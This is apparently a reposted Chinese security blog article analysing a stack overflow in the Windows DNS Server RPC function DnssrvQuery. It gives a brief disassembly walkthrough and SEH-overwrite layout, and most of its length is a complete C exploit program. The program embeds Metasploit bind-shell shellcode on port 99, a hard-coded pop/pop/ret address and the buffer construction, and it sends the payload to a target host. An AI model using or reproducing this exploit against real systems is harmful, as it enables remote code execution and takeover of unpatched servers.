DNS RPC 分析 's

admin 2017年5月4日18:59:48评论341 views字数 6057阅读20分11秒阅读模式
摘要

Author: 云舒
Date: 2007-04-27
http://www.ph4nt0m.org根据安全公告的漏洞描述,漏洞发生在dns.exe程序中的DnssrvQuery函数,这个函数是一个RPC函数,允许客户端进行远程调用。先用IDA对

Author: 云舒
Date: 2007-04-27
http://www.ph4nt0m.org

根据安全公告的漏洞描述,漏洞发生在dns.exe程序中的DnssrvQuery函数,这个函数是一个RPC函数,允许客户端进行远程调用。先用IDA对

dns.exe进行静态的反汇编分析,找到如下调用关系:

找到地址010154EC处,看到代码如下:

.text:010154EC cmp cl, 5Ch ; is '/'?
.text:010154EF jnz short loc_1015484 ; Next Char
.text:010154F1 push [ebp+arg_4]
.text:010154F4 push edi
.text:010154F5 push ebx
.text:010154F6 call [email protected] ; extractQuotedChar(x,x,x)
.text:010154FB mov edi, eax
.text:010154FD mov eax, [ebp+arg_0]
.text:01015500 inc ebx
.text:01015501 jmp short loc_1015484

其实这些对我来说关系不大,看了漏洞描述就成。我需要的是找到这个地址0x010154EC好进行动态调试。加载dns.exe,在 010154EC处下断点,发送这样的字符,可以看见栈内存被覆盖。我在Windows Server 2003 Standard Chinese SP1上进行的调试,开始覆盖的起始内存地址为0x0138F6AF处。因为有stack cookie,所以选择覆盖SEH地址。

看看栈里面,发现最近的SEH地址为0x0138FD10,距离覆盖开始的距离为1633字节。一直加大字节数,最终会覆盖到分页未映射的内存区域,触发异常,接管程序流程。测试之后发现esp+12是在我们的覆盖范围之内,这样就是需要找一个pop/pop/ret的转跳地址。经过分析,在 windows server 2003 Standard sp1中文版上面,需要的地址为0x769C1A61(这个地址不错,这里可以连续pop三次再ret,不过我们只需要两次pop)。由于需要在字符前面加上'/'绕过长度检测,因此,覆盖到SEH的长度为1633 * 2 字节。覆盖到SEH pop/pop/ret之后,程序会跳到SEH的前面,这就又需要往高址转跳6个字节,EB 06就可以了。

最终在内存中的数据示意图如下:

内存低址 内存高址
NOP NOP NOP NOP NOP........EB 06 NOP NOP pop/pop/ret shellcode NOP NOP NOP............

执行顺序为触发异常,接管执行pop/pop/ret,执行到eb 06,再执行到shellcode,收工。

针对上述分析,我写了一个测试性质的攻击程序,不具备危害性,经过测试,这些分析正确,攻击代码见后。(编译这段代码很麻烦的,嘿嘿,先要 midl编译idl文件,然后再编译这段CPP代码)这段代码纯粹是为了演示和分析用,对公司内部的讲座,如果被人修改了进行攻击,偶不管……其实修改这个EXP很容易……—_—!

/*
DNS_RPC

Windows Server 2003 Standard Chinese SP1

开始覆盖 0138F6AF
SEH 0138FD10
未映射内存区域 01390000

1633字节 + 4字节的POP/RET 刚好覆盖到SEH,执行到0138F380

769C1A61 Windows Server 2003 Standard CN SP1

加大字节覆盖到未映射内存区域,引发异常接管。

需要注意的是,要在有效字符之前插入反斜杠,所以长度翻倍。我这里的做法是先忽略反斜杠因素,构造好整个缓冲区,然后再插入反斜杠。个人觉得我的代码还是比较清晰的,起码比MilW0rm上面的简洁明了。

*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <Rpc.h>
#include "dnsxpl.h"

#pragma comment( lib, "ws2_32.lib" )
#pragma comment( lib, "Rpcrt4.lib" )

#define OBJ_UUID "50abc2a4-574d-40b3-9d66-ee4fd5fba076"
#define PRO_SEQ "ncacn_ip_tcp"

/* win32_bind - EXITFUNC=seh LPORT=99 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char shell[] =
"/x2b/xc9/x83/xe9/xb0/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/xfa"
"/xac/x69/x80/x83/xeb/xfc/xe2/xf4/x06/xc6/x82/xcd/x12/x55/x96/x7f"
"/x05/xcc/xe2/xec/xde/x88/xe2/xc5/xc6/x27/x15/x85/x82/xad/x86/x0b"
"/xb5/xb4/xe2/xdf/xda/xad/x82/xc9/x71/x98/xe2/x81/x14/x9d/xa9/x19"
"/x56/x28/xa9/xf4/xfd/x6d/xa3/x8d/xfb/x6e/x82/x74/xc1/xf8/x4d/xa8"
"/x8f/x49/xe2/xdf/xde/xad/x82/xe6/x71/xa0/x22/x0b/xa5/xb0/x68/x6b"
"/xf9/x80/xe2/x09/x96/x88/x75/xe1/x39/x9d/xb2/xe4/x71/xef/x59/x0b"
"/xba/xa0/xe2/xf0/xe6/x01/xe2/xc0/xf2/xf2/x01/x0e/xb4/xa2/x85/xd0"
"/x05/x7a/x0f/xd3/x9c/xc4/x5a/xb2/x92/xdb/x1a/xb2/xa5/xf8/x96/x50"
"/x92/x67/x84/x7c/xc1/xfc/x96/x56/xa5/x25/x8c/xe6/x7b/x41/x61/x82"
"/xaf/xc6/x6b/x7f/x2a/xc4/xb0/x89/x0f/x01/x3e/x7f/x2c/xff/x3a/xd3"
"/xa9/xff/x2a/xd3/xb9/xff/x96/x50/x9c/xc4/x69/xe3/x9c/xff/xe0/x61"
"/x6f/xc4/xcd/x9a/x8a/x6b/x3e/x7f/x2c/xc6/x79/xd1/xaf/x53/xb9/xe8"
"/x5e/x01/x47/x69/xad/x53/xbf/xd3/xaf/x53/xb9/xe8/x1f/xe5/xef/xc9"
"/xad/x53/xbf/xd0/xae/xf8/x3c/x7f/x2a/x3f/x01/x67/x83/x6a/x10/xd7"
"/x05/x7a/x3c/x7f/x2a/xca/x03/xe4/x9c/xc4/x0a/xed/x73/x49/x03/xd0"
"/xa3/x85/xa5/x09/x1d/xc6/x2d/x09/x18/x9d/xa9/x73/x50/x52/x2b/xad"
"/x04/xee/x45/x13/x77/xd6/x51/x2b/x51/x07/x01/xf2/x04/x1f/x7f/x7f"
"/x8f/xe8/x96/x56/xa1/xfb/x3b/xd1/xab/xfd/x03/x81/xab/xfd/x3c/xd1"
"/x05/x7c/x01/x2d/x23/xa9/xa7/xd3/x05/x7a/x03/x7f/x05/x9b/x96/x50"
"/x71/xfb/x95/x03/x3e/xc8/x96/x56/xa8/x53/xb9/xe8/x0a/x26/x6d/xdf"
"/xa9/x53/xbf/x7f/x2a/xac/x69/x80";

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }

void Usage( char *ProgramName );
void Exploit( char *Host, char * RpcPort );

int main( int argc, char *argv[] )
{
WSAData Wsa;

char Host[20] = { 0 }; // 目标主机,网络字节顺序
char RpcPort[8] = { 0 }; // 目标机器RPC高端口

// 初始化网络库
if( WSAStartup(0x0202, &Wsa) != 0 )
{
printf( "[-] WSAStartup failed with error: %d/n" , GetLastError() );
return -1;
}

if( argc != 3 )
{
Usage( argv[0] );
return -1;
}

strncpy( Host, argv[1], sizeof(Host) -1 );
strncpy( RpcPort, argv[2], sizeof(RpcPort) - 1 );

if( atoi(RpcPort) <= 1024 )
{
Usage( argv[0] );
return -1;
}

Exploit( Host, RpcPort );

return 1;
}

// 显示帮助
void Usage( char *ProgramName )
{
printf( "Usage: %s <TargetIP> <RpcPort>/n", ProgramName );
}

void Exploit( char *Host, char *RpcPort )
{
unsigned char *StringBinding = NULL;
unsigned char *Options = NULL;

RPC_STATUS Status = RpcStringBindingComposeA( (unsigned char *)OBJ_UUID,
(unsigned char *)PRO_SEQ,
(unsigned char *)Host,
(unsigned char *)RpcPort,
Options,
&StringBinding );

if( RPC_S_OK != Status )
{
printf( "[-] RpcStringBindingCompose failed, exit!/n" );
exit(-1);
}
printf( "[+] Connect to %s successful!/n", StringBinding );

//RPC_BINDING_HANDLE Dns;

Status = RpcBindingFromStringBindingA( (unsigned char *)StringBinding, &dns );
if( RPC_S_OK != Status )
{
printf( "[-] RpcBindingFromStringBinding failed, exit!/n" );
exit(-1);
}
printf( "[+] RpcBindingFromStringBinding successful!/n" );

wchar_t * ArguA = L"ph4nt0myunshu";

int BuffSize = 4000;

unsigned char * TmpBuff = (unsigned char *)malloc( BuffSize );

// 填充缓冲区
memset( (void *)TmpBuff, '/x90', BuffSize );

// 加入Pop/Pop/Ret转跳地址,覆盖SEH
int PopRet = 1633;
memset( (void *)(TmpBuff + PopRet), '/x60', 1 );
memset( (void *)(TmpBuff + PopRet + 1), '/x1A', 1 );
memset( (void *)(TmpBuff + PopRet + 2), '/x9C', 1 );
memset( (void *)(TmpBuff + PopRet + 3), '/x76', 1 );

// 加入二次转跳命令,往高址跳6字节,跳到seh的高址,执行
memset( (void *)(TmpBuff + PopRet - 4), '/xEB', 1 );
memset( (void *)(TmpBuff + PopRet - 3), '/x06', 1 );

// shellcode字符数组后面会有一个/x00,所以需要sizeof-1
memcpy( (void *)(TmpBuff + PopRet + 4), (void *)shell, sizeof(shell) - 1 );

/*
内存低址 内存高址
NOP NOP NOP NOP NOP NOP NOP eb 06 90 90 pop/pop/ret shellcode NOP NOP NOP
*/

// 插入反斜杠,转换为"/x5c/x90/x5c/x90/x5c/x90...../x5c/xeb/x5c/x06"格式
unsigned char * ArguB = (unsigned char *)malloc( BuffSize * 2 + 4 );
memset( (void *)ArguB, '/', BuffSize * 2 + 4 );

for( int index = 0; index < BuffSize; index ++ )
{
ArguB[index * 2 + 1] = TmpBuff[index];
}

ArguB[BuffSize * 2 + 4 -1] = '';

unsigned char *ArguC = (unsigned char *)malloc( 10 );
strcpy( (char *)ArguC, "ICYLIFE" );
long *ArguD = (long *)malloc( 20 );
long *ArguE = (long *)malloc( 20 );

// 发送exp数据
printf( "[+] Try to telnet 99 port, good luck!/n" );
RpcTryExcept
{
Status = DnssrvQuery( ArguA, ArguB, ArguC, ArguD, ArguE );
}

RpcExcept(1)
{
Status = RpcExceptionCode( );
//printf( "[-] RPC Server reported exception 0x%lx = %ld/n", Status, Status );
}
RpcEndExcept

free( TmpBuff );
free( ArguB );
free( ArguC );
free( ArguD );
free( ArguE );
}

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月4日18:59:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DNS RPC 分析 'shttps://cn-sec.com/archives/49723.html

发表评论

匿名网友 填写信息